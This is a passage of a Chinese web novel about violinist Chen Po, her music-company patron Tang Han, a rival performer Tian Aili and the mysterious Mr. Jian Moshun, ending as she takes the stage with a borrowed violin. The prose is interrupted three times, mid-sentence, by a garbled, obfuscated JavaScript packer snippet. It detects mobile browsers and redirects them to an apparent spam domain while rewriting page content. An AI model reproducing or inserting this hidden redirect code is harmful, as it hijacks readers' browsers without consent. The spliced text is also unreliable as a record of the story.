晨珀克制了一下蠕动的胃部,面上仍淡淡道:“你早说我就不来了。” 唐晗唇角带笑的看她一眼,并不拆穿她。 一众人沿喷泉通道绕过庭院,来到一栋复古静雅的小楼前。 这栋小楼只有两层高,周围遍植树木,与酒店其他的建筑都离得很远,小楼前方是个设计精美的玻璃房花园。现在虽然已经是十二月底,但花房内却姹紫嫣红翠绿一片。 几个身着西装面目普通的男性身姿笔直的站在小楼大门处,看模样不太像酒店服务员。 唐晗一行人走进小楼时,他们微微低头以示恭敬,同时小楼玄厅内迅速走出一位衣衫革履的男性,对方三十岁上下,长相俊逸,见到唐晗笑着问候,随后礼貌在前面引路。 “我还以为我够早了,想不到他已经到了。”唐晗朝身侧的耿硕东笑了声。 耿硕东看起来有些紧张:“我也是之前到的时候才知道他上午就过来了,不过他助理一再强调他只是过来喝早茶,也不用特意催唐总您。” 其实耿硕东和范芯也只不过比唐晗早到了十来分钟,还在考虑要不要打给唐晗时他就来了,所以他们也只来得及告诉他一声对方已经到达。 唐晗笑了笑,并没有责怪耿硕东的意思。 早到总是比迟到好,说明对方也有合作的诚意。这么看来,也许另一件事今天也能提一提。唐晗心思在公事上,快到包厢门口时才发现晨珀落在了后面。 他停了脚步,笑着朝她温柔伸出手:“过来。” 如此亲昵的语气和动作,使得原本忽略晨珀的耿硕东和范芯都留意到了她。 虽然因为合约以及钦点她独奏巴斯克随想曲的事,这两人心里都点数,不过今天这么一来,这件事原本还在被猜测的事无疑是实打实了。 在众人或好奇或羡慕的眼光中,晨珀很干脆的道:“不要。” 众人:“……”唐总这是被当面拒绝了吗?肿么办,好尴尬,他们该消失吗? 好在气氛尴尬之际,在前面引路的俊逸男性打开了包厢门,说了声“请”。 众人皆松了口气。 唐晗虽然对晨珀的态度不满,但也不会在这个时候和她较真。之前让她过去也不过是见她落在人后,下意识不想冷落她才开的口。他冲那名俊逸男性笑了笑,缓步走进包厢。 包厢里,红木圆桌的靠窗处坐着一人。他正低头看手里的一叠资料,窗外秋叶飘落,金色的暖阳透进来,落在他清隽淡然的脸上。 10. 简先生 男人一袭修身西服,那衣物的剪裁严丝合缝,一看就是手工订制的高级衣料。 他坐在那里,身上带着淡淡优雅而清蕴的气质,捏着白瓷茶杯的手指修长而干净,整个人温雅清宁的仿佛一副水墨画作。 门口处的脚步声让他缓缓抬起了视线,当他眼神投来的瞬间,众人却不由的心头一颤。 那双眼瞳平静而幽深,一瞬间,几乎所有人都有种被他一眼看透的错觉。 这个男人,仅凭一个眼神就震住了所有来人,可见气场有多强大。偏偏这种气场并非强势和攻击性的,只是在凝视人时,眉目间自然而然流露出的一种上位者气质。 唐晗脱下外衣落座,俊气的脸孔上露出笑意:“简先生,真抱歉,我来迟了!” “是我来早了。”对方开口,声线低沉清冷,并没有太过凌厉的感觉。 “还没点菜吧?”唐晗客气询问。严格来说,这是他第二次和对方见面,之前那次不过寥寥数语。这次见面前,两人开过几次视讯会议,唐晗对他的个性脾气也算稍有了解。 知道他性格略清冷,言谈时话不算多,与人交际并不热情,有些严谨和古板,但却极有诚信,也不爱弄虚作假那套,但凡他首肯的事,基本便是定下了。 这次对方来国内举办拍卖会,声世也是花费了一番功夫才让对方把地点定在S城。 唐晗今天过来,就是想谈合作的事,由声世为其提供场地,安排整个流程,以此换取优先购买对方藏品的机会。 “还没。”简墨准缓缓回了一句,将手里的资料理了理,放入一侧的资料袋中。 他身旁的那名俊逸助理——方谌朝唐晗笑道:“唐总,这里您比较熟,还是您做主点菜吧!” 唐晗刚笑着应下,范芯已经起身,小心开口询问方谌简先生是否有不吃的东西。 简墨准这时已经将资料袋口子重新封好,视线瞥向桌子对面的几个人,目色平淡:“我没有忌口的东西。” 淡淡一句话,一个眼神,竟让范芯心跳加速起来,这加速的心跳并不是因为心动。 范芯进声世这几年,陪着唐晗出入各种饭局,与各种大腕打交道,笑谈干杯,自认从不怯场。今天却不知怎么了,对方明明客气礼貌,她却分外紧张,每说一句话都带着忐忑。 范芯稳下心神,换来服务员,走去包厢后方的沙发前开始点菜。 因为整栋小楼今天就只招呼这一桌客人,所以上菜很快。范芯向对方介绍了酒店几道特色菜后,又挑了本城几个比较有人文历史气息的著名景点简单介绍了番。 换做以前的那些饭局,有范芯这么美艳大方的陪客,这会对方估计早你干我干的喝开了,再不然也是大声笑谈,或者说一些带颜色的笑话。 但从众人动筷开始,简墨准就保持着一种倾听式的安静,他执筷的动作缓慢而优雅,连带饭桌上的气氛也渐渐变得安静。 范芯终于有些气馁的看向唐晗,唐晗倒是无所谓,对方的餐桌习惯礼仪显然和他们不一样,用餐安静不是坏事,这种气氛下谈公事更清晰直白。 唐晗直切主题的交谈方式很有效果,双方之前也早就此次拍卖开过视讯会议,这次敲定了最重要的几个细节后,便约下了正式签约的日期。 公事解决,唐晗这边几个人都有松了一口气的感觉,这才有心思去品尝这里大厨的手艺。范芯眼见气氛轻松,又向对方介绍了一下这次跟来的几人,表示对方在S城这段期间,有任何问题都可以找他们,他们都会帮着办妥。 那几位助理都各自简单做了自我介绍,方谌也笑着介绍了下自己,随后把视线落在唐晗身侧的黑发女生身上。 众人围坐的红木圆桌很大,足可坐二十人,因为角度问题,她坐下后整个人隐没在唐晗挺拔的身形后,没有什么存在感。 如果不是唐晗不时夹一些菜到她碗里,方谌几乎都注意不到她。然而单从唐晗亲自替她夹菜这一点,就可以得知对方的身份并不简单。 方谌的视线唐晗自然注意到了,老实说,他也觉得晨珀今天过于安静了些,自进入包厢后,她就乖巧的有些过分。一直挨着他坐在那里,他夹什么菜给她她都吃,甚至在他恶作剧般去捏她手的时候也没有挣扎。 虽然知道她不会一直都这么乖,但难得看到一次也让唐晗觉得很高兴。 “对了,还没介绍,这位是晨珀,晨小姐是声世未来两年重点培养的对象。她是小提琴手,刚从欧洲回来。之前我在视讯会议时向简先生提过的公开赛,她也会参加!”唐晗言谈间推崇之意明显,他之前在电话里倒也不算说假话,今天带她出来的确有一部分原因是为了公事。 声世下个月即将举办的器乐公开赛,唐晗希望能拉到简墨准的赞助,如今也算是让他提前见见参赛选手。 然而唐晗示意了几次,晨珀才像是很勉强的站了起来,表情有点古怪的朝对方说了声你好。 如同之前其他几位助理自我介绍时一样,简墨准同样给了她一道波澜不惊的视线,礼貌回了声你好。 唐晗感觉到桌子下面握在手里的小手一片冰凉,再看她的模样觉得有些不对,忙靠过去询问:“怎么了,不舒服吗?” “嗯,我想先走。” 唐晗见她脸色也变得苍白,心下担心:“不舒服怎么不早说?我让司机送你回去。” “不用,我自己打车。”晨珀说着,已经起身去拿自己的外套。 唐晗上前替她理了理衣服,见她坚持,也就不再勉强,只叮嘱她回到家时记得打个电话给他。 “我知道了。”她一一应下,态度温驯的连那几个助理都目瞪口呆,一致侧头目送她离开。 桌子对面,简墨准淡淡收回了瞥向门口的视线。 ### 冬日的阳光铺满整座城市,晨珀走在马路上,被地上灼白的反光照的有些晕眩。 她走过两个街口,反应过来想去打车的时候,一辆黑色商务房车悄无声息的滑到她身侧的马路上。她停住脚步,蹙眉看着车窗上的黑色玻璃,又收回脚步重新向前走。 商务车慢慢启动,以极其缓慢的车速跟在她身后。 她走了片刻,到底没忍住,再次停下脚步。 商务车的副驾驶门开了,一个陌生的高大男性下车来到她面前,礼貌道:“晨小姐,需要我们送您回去吗?” “别跟着我。”晨珀冲他皱眉。 “很抱歉,晨小姐,这是先生的吩咐。如果您不希望我们送您,您可以选择自己坐车,我们会在后面跟着,直到您平安到家。”对方脸上没什么表情,语气却很恭敬,“需要我替您叫车吗?” “不要。”她的心情坏透了,匆忙绕过商务车,走到马路上拦车。因为不是高峰时段,她很快坐上了出租车。车子启动后,她回头看去,那辆黑色的商务房车果然不紧不慢的跟了上来。 直至她上楼到家的半个小时后,商务房车才缓缓调头离去。 晨珀反锁了公寓大门,下意识的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780691|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上楼拖出了行李箱,她胡乱丢了几件衣服进去,又突然停下动作。不行,这样太不理智了,她不能慌,得静下心来好好想想这件事! 次日,晨珀顶着两个黑眼圈去了声世,想了一夜的决定是——在还没弄清楚对方意图前,待在声世反而比待在家更能让她安心。 晨珀露面的消息很快传到了田艾丽耳中,她之前向晨珀发起过挑战,表达了明显的敌意,虽然众人对个中原因只是猜测,但讨好董事千金的机会自然有人不想错过。 田艾丽原本正和乐队排练新的演出单曲,得知晨珀现身,连排练也喊了停,匆匆寻上门去。 单人练习室内,空调开的很暖,晨珀倒在沙发上补眠,她昨天一直绷着神经,就怕有人打来电话又或是敲门,快天亮才睡着。现在好不容易放松下来,倦意袭上,没几秒就睡着了。 迷迷糊糊之际,她感受到有一股“邪恶”的视线射在自己脸上,晨珀一个激灵睁开眼,对上田艾丽怒意燃烧的双眼,顿时放下心来。 田艾丽手臂交叠,蹬着高跟鞋,居高临下刚要放话,窝在沙发上的黑发女生打了个呵欠,换了个姿势又闭眼睡去。 田艾丽:“……” 难道她看起来不够生气?田艾丽摸摸自己的脸,怒道:“起来!” “……”对方继续睡。 “我叫你起来你听见没有!” 晨珀闭着眼睛,伸手扯过脱在一旁的大衣,将自己连人带头兜在里面。 田艾丽:“……” 被无视的太彻底,田艾丽也顾不上摆架势,一把拽开晨珀的衣服:“你昨天跟唐晗去吃饭了?” 晨珀瞥她一眼:“知道的事情你还问。” “哼,得意什么!昨天要不是我正好没空,怎么轮得到你!”事实上,她直到昨天晚上才从田母口中得知这件事,为此她还冲田母发了火,结果自然是被削了一顿。 她憋了一肚子火,碰巧今天晨珀来声世,自然要来发作一下:“想和我争唐晗,就别耍小心机,堂堂正正和我在公开赛里比一场,谁输了就放弃唐晗!” “同一次比赛参加两次,你不无聊?” “不无聊!” “你拉了多久电提?”晨珀懒洋洋的伸了个懒腰,丝毫没有起身的打算。 “八年,怎么了?” “我才拉了五天。” “你是说我欺负你?”田艾丽大怒,“那好,只要你能拿下公开赛里古典小提琴的冠军,就算我输!” “然后呢?” “我输了,我自动退出。但如果你拿不到冠军,就必须放弃唐晗!” 晨珀沉默了片刻,像是在考虑,然后很干脆的道:“不要。” “你必须比赛,我要你心服口服!” “我没说不参加比赛。” “你到底什么意思?”田艾丽有点抓狂。 晨珀重新扯过大衣,在把自己兜起来前朝田艾丽缓缓一笑,“我会参加电提比赛,但输赢和唐晗没有任何关系。你喜欢谁是你自己的事,我没兴趣为了你单方面的想法承诺什么。” 事实上,那人已经找到她,老爸也知道了比赛的事,她现在完全没有理由不参赛。 “你——”也就是说了半天,她被耍了!? “出去时把门关上,我要休息。”晨珀重新闭上眼。 “晨珀!我一定会让你为了今天说的这些话后悔!” 这次,任凭田艾丽怎么说,晨珀都没再理会过她。 11. 找茬 元旦之后没多久,晨珀接到了她进入电子乐部后的首个工作任务:作为伴奏者,和田艾丽一起参加声世公开赛的赛前演出。 这是类似鼓励以及宣传性质的热身表演,演奏节目一共八个,有不同器乐的独奏以及小协奏,主角都是过去几年在公开赛里获得奖项的优秀演奏者。 主奏也好,伴奏也好,晨珀对演出本身不排斥,只是合作的对象让人很无语。 照以往两人短兵相接的那几次来看,她们这一回需要长时间待在一起练习,搞不好会打起来…… 赛前演出的曲目很快敲定,是田艾丽两年前参加声世公开赛夺冠的曲目《晴空》,曲子由一首摇滚英文歌改编,改编者是声世电子乐部的王牌编曲人。田艾丽的母亲毕竟是声世董事,董事千金要参加公开赛,总会有些特殊待遇的。 《晴空》开端优美流畅,短短八个小节之后,曲速极速攀升,犹如无数烟火赫然绚烂绽放于静谧夜空之中,华美、奔放、热情、青春洋溢……四分多钟的演奏,带给观众一场极速的听觉盛宴。 田艾丽取得电提组冠军后,声世没多久就为她推出了首张迷你电音专辑,这首《晴空》亦收入其中。成品曲加入了摇滚乐队的伴奏,视听效果更佳。 而这种绚烂奔放热情的演奏方式也自此成为田艾丽的代表风格,就像艺人出道时需要一个直面大众媒体的定位,清纯或成熟,知性或呆萌。 这种风格,或许原先并非本人想要呈现的,只是因为机缘恰好,成为了那人初始留给观众最深刻的某种印象,再在刻意的营销和包装下,演变成为个人风格。 “电音天后”自被包装推出以来,大部分作品都是这类型的,其中也偶尔尝试过纯然幽静的演奏风格,不过市场反应平平,也就作罢了。 田艾丽出道两年,在各地举办过不同类型的演奏会,也应邀在亚洲区参加演出。炫酷的红色电提,明艳的长相,再加上她自小锦衣玉食养尊处优,身上带了股富家千金高人一等的傲气范儿,吸引了不少粉丝。 在这样的田艾丽眼里,连一次演奏会都没开过的晨珀根本没资格和她同台。之前她向她下战书,说到底,不过是为了唐晗。 这一次得知晨珀要和自己同台,她一早就和唐晗抗议过,可惜抗议无果,还被他训了。她心里憋着一口气,打定主意要把这口气撒到晨珀身上。 “陈老师,这段效果还是太单薄了。”声世十三楼的彩排室内,田艾丽搁下电提,丢出她今天第五个需要重新编曲的理由。 双电提的演奏不比乐队,本来就容易显单调,《晴空》又是她自己的成名曲,演奏过无数次,只要她想,她可以一直这么冠冕堂皇的挑剔下去。 室内几个音乐老师和器乐老师对视几眼,这次都很默契的选择不反驳。两天下来,就算是之前对田艾丽和晨珀之间事情不了解的这会也该有数了。 这首曲子,田艾丽是主奏,改来改去,主旋律是不会有太大变动的,每次需要重新练习的都是伴奏。 所以这两天来,一刻不停修改练习再修改再练习的人都是晨珀。 几人交换了下建议,示意暂时休息一下。陈烁接过工作人员递上来的热茶,忍不住去看谱架后面的另一人。 那还是个很年轻的女孩子,脸孔白嫩,五官清秀,气质恬静淡雅,一头笔直的黑发,看起来很乖的模样。 这两天,她几乎没有开过口,长长的斜刘海挡住她半侧眉宇,那双墨黑的瞳眸在安静凝视乐谱的时候,总是格外专注,认真的让人忍不住在心里叹息。 她不拉琴的时候就靠在沙发上假寐,似乎连半点提出抗议的想法都没有,懂事乖巧的惹人怜惜。 所以,就是这样的女孩子让年轻优秀的唐总心动了吗?难怪田艾丽会这样,这个女孩的确是和她完全不同的类型! 被饱含怜悯和唏嘘感叹目光盯视中的晨珀:“……” 大约是顾及晨珀,陈烁再次改编的伴奏比起之前易上手的多,晨珀只拉了一次就能和田艾丽合奏。 这明显的偏帮让田艾丽很不满意,于是,仅仅半个小时后,今天的第六次挑剔出现了。 “陈老师,你不觉得这一次伴奏听起来像是只有我一个人在拉琴吗——” 田艾丽话音未落,身侧的晨珀已经绕过谱架走向门口,途中经过沙发时顺手搁下了黑色电提。 “晨珀,怎么了?”另一个器乐老师不悦的开口,毕竟不是每个人都像陈烁一样对晨珀有好感的。 “抱歉,等我十分钟。”晨珀说完,推门离开。 “十分钟?”田艾丽不屑的嗤了声,“不会打算躲到厕所里哭一会吧?这点压力都承受不住,还敢和我同台?” 陈烁闻言皱起眉,他虽然不赞同田艾丽的做法,但是他也觉得她这次说的没错。一个合格的电提演奏家,台上短短几分钟的演出,台下却是成百上千次的编曲彩排。 电提和古典提琴不同,它没有历史底蕴,它依靠的不是婉转动人的音色,它更加直白激烈,它需要改变、创新以及一次次的尝试。 晨珀如果有想法,她可以提出,但是甩手离开却是最不妥当的做法。 众人议论纷纷之时,练习室的门又开了,晨珀走进来,手里多了束花。 田艾丽拧眉盯着她。就算是想炫耀有人送她花,也不至于蠢到离开后又带着花出现吧?她正思量着,对方却直接走到她面前将花束丢在她怀里。 “什么意思?”田艾丽有些懵了,“我……我对你没兴趣!” 晨珀歪了歪头:“我也对你没兴趣。” “那这什么意思!” “给你表白用的。”她面无表情,在田艾丽震愕的视线里继续道,“既然已经喜欢他到了这种地步,为什么不去表白?总在我这里浪费时间,很无聊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780692|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果可以,晨珀并不想费口舌说这些。换了以前她大概早甩手不干了,可近来她麻烦缠身,每天只要外出都会被同样的车跟着,待在声世工作,多少能让她安心一点。 “你怎么知道我没有——”田艾丽很快意识到场合不对,忙掐断自己冲口而出的激动话语,敛了表情,扬声道,“现在到底是谁浪费时间!离演出没多久了,你还想这些乱七八糟的——”田艾丽话到一半,晨珀却突然把她手里的花束拿了回去,“你这人怎么回事!莫名其妙的有毛病啊!” 晨珀看她一眼,转身朝门口走。 “站住!你又想去哪?让所有老师等你一个不觉得自己太任性了吗!”田艾丽厉声责问,“晨珀,你最好对你今天这种不负责任的行动给出一个合理的解释,否则赛前演出的舞台你就不必上了!”如果能在众目睽睽之下找到一个踢她出局的完美理由,就算是唐晗,也不可能再更改已定局面。 已经拉开练习室大门的晨珀停步转身,她安静回视田艾丽片刻,忽而灿烂一笑:“既然你不想去,那就我去吧。与其因为不存在的事实被你各种折腾,还不如把这件事做实了。” 晨珀说完,在众人目瞪口呆的注视下,第二次推门离开。 田艾丽怔在原地,这事……这事的发展不对啊!她并不是想要这样的结果才针对晨珀的! “你以为你是谁!可笑!”她不屑的冷嗤了声。拿着一束花向唐晗表白?她以为她是谁!唐晗会理她才有鬼! 等等!她、她不会真的上十五楼吧!以唐晗之前对她的维护——搞不好真的会答应她! 如果他们两个就这样在一起了,那她岂不是成了亲自撮合他们的白痴!? “艾丽,晨珀的态度我们都看到了,这件事我们会找唐总说明的,你——”器乐老师清清嗓子,正要公布他们几人商量的结果,田艾丽已经追着晨珀推门而出。 众老师:“……” 田艾丽冲上走廊时已经看不见晨珀的身影,她加快脚步来到电梯前,焦躁不已的用力按电梯按钮。 “找我?” 熟悉的清润女声从她背后响起,田艾丽猛地回头,看见晨珀捧着花束斜靠在楼梯间门口,见她瞪来还朝她笑了笑,“你的动作比我想象的还要快。” “晨珀!你又耍我!”田艾丽一想到自己刚才从练习室冲出来的模样,就恨得咬牙切齿。 “哪有,我只是想让你明白一些事。”晨珀上前,将花重新塞回她怀里,“田艾丽,别成为推我去唐晗身边的笨蛋。” “哼,难道你想假惺惺的告诉我你不喜欢他?” 晨珀看她一眼,动了动这两日因为高强度练习而酸胀的手指:“你想听真话?” “当然!”田艾丽拧起眉。 她丢给她一个懒洋洋的笑容:“我不告诉你。” 田艾丽:“……”她可真想抽她…… 12. 台下的他 器乐比赛需要造势,因此赛前演出的场地选在S城六星级的湖光酒店,台下观众基本为受邀而来的媒体、赞助商、上流人士以及行内名家。演出会全程拍摄,作为声世比赛宣传的一部分,在媒体平台上播放。 声世器乐赛举办数届,得奖者人数众多,声世并非每个都会签约,总会有那么一两个得过小奖却运气不佳至今仍没混出头的人,于他们来说,这次的演出虽然非商演,却是一次非常好的露脸机会。 晨珀将手里的琴盒搁在化妆台的一侧,透过化妆镜,刚好可以看见对面的田艾丽。她比她来的早,已经化好妆换上了演出的小礼裙,她身前站着一名记者和一名摄影师,看样子正在接受采访。 在后台窜场的文蕊看到晨珀,拉着露易丝以及另一个和她同来的同事上来和她打招呼。 这阵子晨珀太忙,加上换了组,很少有机会像以前那样和她们见面。那同事应该也是古典乐部的,不过看样子和文蕊、露易丝两人关系不算太熟,见到晨珀手边的琴盒,低低嗤笑了声:“连小提琴都换了呀,果然有背景就是不一样!那时田艾丽气势汹汹的去找文蕊麻烦,我们都以为新人里她会是最先出头的那个,想不到最后是你抢先了一步。” 晨珀面无表情:“你谁啊?” 那人一脸菜色:“你少来!我们一起彩排过!” 露易丝被逗笑了,朝那人道:“你不爱看别看,有本事你也找个背景去!” “这么呛干嘛,我这不是替文蕊抱不平吗!”那人说着,拍拍文蕊的肩,“就说你傻,白当了出头鸟!” 文蕊脸色有些不好,咬着下唇道:“你别这么说,我和晨珀是朋友!” 大概是被文蕊弱弱的模样逗笑了,那人哼笑了声,径自旋身离开。 露易丝对文蕊交朋友的眼光很无语:“以后这种人别往晨珀面前带。” “你也别这么说,她只是嘴巴坏。”文蕊说着,上前拉晨珀的手,一脸担心道:“黄钰就是心直口快,人还不错的。你调去电子乐部后,她帮过我几次呢!你千万别生她气啊!” 她看起来像很生气么?晨珀摸了摸鼻子,问道:“我这次参加演出的事,难道声世里还有人羡慕?” 露易丝点头:“何止羡慕,根本是招人恨!” 文蕊立刻补充道:“声世每年的赛前演出都是非常受瞩目的一次演奏会,上台的基本都是往届比赛的得奖者,新人上台的先例以前还没有过!” “可我只是伴奏……”还是被虐待的伴奏…… “可是伴奏的人只有你一个啊,这不等于两人协奏吗!更何况,你合作的对象是声世的‘电音天后’——”文蕊虽然不喜欢田艾丽,但是她却很清楚田艾丽目前在国内的名气。 三人说着,视线都不由自主扫向正接受采访的人。 大概觉察到这边的目光,田艾丽那双被黑色眼线勾勒的万分妩媚的丹凤眼朝晨珀投来似笑非笑的一瞥,眸底却带着藏不住的傲气。 那天后田艾丽没再找过她麻烦,每天的练习彩排也都准时出现完成,只是从不和她说话。 在旁观的众人对这种转变议论纷纷诧异不解之际,唯独晨珀对此表示满意。 对方只要不找她麻烦就是好事,她懒得去探究她的心思。只要过了今天完成演出,两人就不必天天碰面了,也自然闹腾不起来。 然而今天,注定会是漫长曲折的一天。 演出前最后一次走场彩排的时候,晨珀在台下看见了最不想见到的人。 相比他身旁身着衬衣西服领结妆扮正式隆重的唐晗,他穿戴低调得多,烟灰色圆领毛衣外搭深色薄呢大衣,下身是和大衣同款的长裤,容颜清隽,目色深幽。 两人身边都没跟助理,坐在最前排的左侧,正对着晨珀出场的位置。 男人抬头,视线在空中与她无声对上,一如前次般平定无波。 晨珀的指尖抖了抖,使劲捏紧了手里的弓弦。 没什么好意外的,他既然和声世有生意来往,今天会出现也合情合理。 曲子不长,四分多钟的演奏彩排,她却感觉度秒如年。她没再往那个方向看上一眼,却感觉到始终有道清冷的眸光注视着自己,令她犹如芒刺加身。 直至返回后台化妆间,她鼓噪的心跳仍久久无法平复。 猫终于找到了老鼠,却没有下一步举动,这不合理。 他到底想干什么? 晨珀努力在记忆里翻找细节,却发现自己对他的了解竟如此贫瘠。 暮色降临,所有的彩排完成之后,正式演出很快便要开始。后台的媒体记者都撤了出去,工作人员穿行在化妆间内,最后一次和表演者们确定顺序和流程。 《晴空》是开场节目,虽然演奏者只有两个人,但田艾丽名声在外,自然被安排在第一个出场。 上场前十五分钟,晨珀突然发现,自己的电提不见了。 ### 唐晗闻讯很快赶来后台,这时离上场只剩下十分钟。 早一步来到后台的祝霍正在冲晨珀发火,身为演奏者,居然在演出前把自己的电提弄丢,这简直闻所未闻! “电提是什么时候不见了?为什么临上场了你才发现不见?早干嘛去了?!你平时散漫也就算了!现在可是演出!你到底知不知道声世里有多少人想取代你的位置参加今晚的演出?还有,你知不知道那把黑提值多少钱!”祝霍气得火冒三丈,捶胸顿足。 “对不起,是我疏忽。”晨珀道歉,垂落的斜刘海挡住了她的眼睛,一旁的人都看着他们窃窃私语。 唐晗心生不悦,一眼扫去,旁人怯怯散开,只剩下田艾丽靠在不远处的化妆台上抱臂拧眉看着他们。 “先把事情解决,现在不是发火的时候。”唐晗抬手看了看手表,还剩下九分钟,他连询问清楚事情原委的时间都没有,“场内还有电提吗?” “没有!八个节目,每个节目的器乐都不相同!今晚所有表演者里,只有她和艾丽使用的是电子小提琴!现在其中一架电提不见了,一时之间根本找到不第三架电提临时借用!如果能早点发现——唉!”祝霍骂完才后知后觉想起面前女孩和唐总的关系,语气缓和了两分,“实在不行,就让艾丽一个人上!反正她也只是伴奏……艾丽,你一个人没问题吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780693|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 为今之计,祝霍也只能指望她了。 “我当然没有问题。”田艾丽朝祝霍肯定的点点头,脸上并没有露出独自上台的喜悦,反而态度中肯的继续道,“只是,这样等于临时更改节目单,加上又是开场节目,影响很不好。” “我也知道,但是除了这样还能怎么办?”被田艾丽这一说,祝霍对晨珀的不满又多了几分。 晨珀缓缓看了田艾丽一眼,随后朝祝霍道:“祝监理,能帮我借一把古典小提琴吗?我记得第四个节目是小提琴协奏,顺序上应该来得及。” “什么?”祝霍听明白后,顿时震愕,“你是想用古典小提琴给艾丽伴奏?你疯——咳,你是不是太想当然了?”在这么开阔高挑的双层大厅内,以一架古典小提琴的微弱之音给一架插电的电提伴奏,不跟没伴奏一样么! 唐晗开口道:“可以用话筒收音。” “就算那样在音量上也会完全被电提盖过,因为差不多所有的伴奏都是跟着主旋律进行的,音色会被吞,出来的效果只会断断续续……”祝霍头痛极了,“你确定要那样上场?” 祝霍看了看晨珀,又看向唐晗,说实话,他不希望冒这个险。 时间所剩无几,唐晗凝视晨珀,目光反而放柔了几分:“你坚持吗?” 不问她上场后准备怎么解决,也不问她有几分把握,就只是问她是否坚持,比起演出,他竟更重视她的个人意愿?还说他没有公私不分?这分明偏袒到了极点! 田艾丽脸一黑,拿起自己的电提就朝外走:“没时间了,我先过去,这件事你们自己决定吧,大不了我一个人上场!” 她蹬着高跟鞋气势汹汹的走出化妆间,一人正要进去,闪避不及和田艾丽撞在一起,她鞋跟一扭,看眼就要摔倒,被人牢牢扶住手臂。 对方扶着她站稳后才放手,田艾丽抬头,一位衣衫革履的俊逸男子正朝自己礼貌微笑:“这位小姐,没事吧?” 田艾丽一腔怒意无处可发,本来张口便要骂人,却在瞥见俊逸男子身侧的另一人后顿时。 那是个很高大的男人,身高估计接近一米九,身形优雅修长,眉宇清蕴,五官无可挑剔,神色略微清冷,一双深幽的长眸朝她淡淡扫来,竟让她原本暴躁的心瞬间猛跳几下。 田艾丽怎么说也是个富家千金,自小就眼界高,参加无数宴会结识诸多优秀男性,除了唐晗,自认早已对异性的魅力免疫。 可面前这男人,仅仅与她目光对视,却让她心里生出局促和不安来。她仿佛瞬间回到十四岁那年第一次出席公开宴会,满场都是优秀成熟的世家子弟,而她却还是青涩懵懂的小女生。 田艾丽顿时有些尴尬,她又不是没见过世面的小丫头,怎么突然就局促起来了? 因着这一尴尬,她也没了骂人的兴趣,拎着提琴故意目不斜视的从两人身边走过。 “先生,要进去吗?”方谌看着半开的化妆间门,从他们的角度刚好可以看见里面人的动静。 “不必。”简墨准眸色清淡:“今晚我不想打扰她,这件事你出面解决。” “明白了,先生。”方谌点头应下。 13.和简墨准的关系 晨珀出现在幕布旁的时候,手里果然抱了架木质小提琴。 田艾丽蹙了蹙眉:“你要上场可以,不过别把我的演出弄砸了。” 晨珀专心调着琴弦,似乎没听见。又有一人匆匆来到幕布旁,此刻距离上台还剩三分钟。 “晨小姐。”那人的声音让田艾丽侧目,发现来者竟是片刻前在化妆间门口撞到她的人。 他依旧带着那种礼貌笑容,将提在手里的琴盒小心翼翼的平举着递到晨珀面前:“事出突然,临时找不到电提,不过先生说了,这把小提琴应该会比你手里的小提琴更适合一些。” 听见“先生”二字,晨珀的指尖又抖了下:“不用了,这把琴我已经调好音了。”她尽量选择合理的措辞。 方谌笑容不变:“这把小提琴也已经调好音了,你可以放心使用,晨小姐不看一下再决定吗?”说着,方谌将琴盒打开。 纯黑色的天鹅绒上,躺着一把色泽古朴泛黄的木质小提琴,看起来和普通的小提琴没有任何区别。 田艾丽看见不由笑了:“用这么漂亮盒子装一把旧琴,这位先生太有意思了!” 方谌没有说话,只是仍旧举着琴盒,看着对方的反应。 “不,这是一把新琴。”晨珀凝神看着盒子里的小提琴,脑中有一瞬间掠过一丝异样,但又很快否定了。 她也不是第一次见那把小提琴的仿琴,有些人喜欢把琴身颜色做成全新的样子,也有些人喜欢从头到尾一丝不漏的仿制。 最重要的是,那把琴绝对不可能出现在这里,自1775年,它被卖给意大利收藏家塞拉波后,一直辗转被人珍藏家中。意大利古琴商人塔里西奥、法国小提琴制作家维奥姆、英国提琴商希尔都曾是它的主人。 如今,它应该远在牛津的阿什莫尔博物馆。 不过比起她手里这把,盒子里的仿琴确实更吸引她。 在晨珀反应过来前,她的手已经拿起了盒子里的那把小提琴,方谌顺势接过她手里原先的琴,表示自己会替她送还给原主。 “那么,我就不打扰了,祝晨小姐演出顺利。”方谌匆匆离开,幕布外,台上的主持人正在介绍开场节目。 晨珀捏起弓弦,任工作人员上前给她将微型话筒固定在衣领上,跟在田艾丽身后走了出去。 舞台上灯光灼目,台下座无虚席。 晨珀架琴扬弓,前八个小节,《晴空》的旋律优美而婉转,她的音符完全配合田艾丽的旋律而出,犹如夜色里的呢喃。 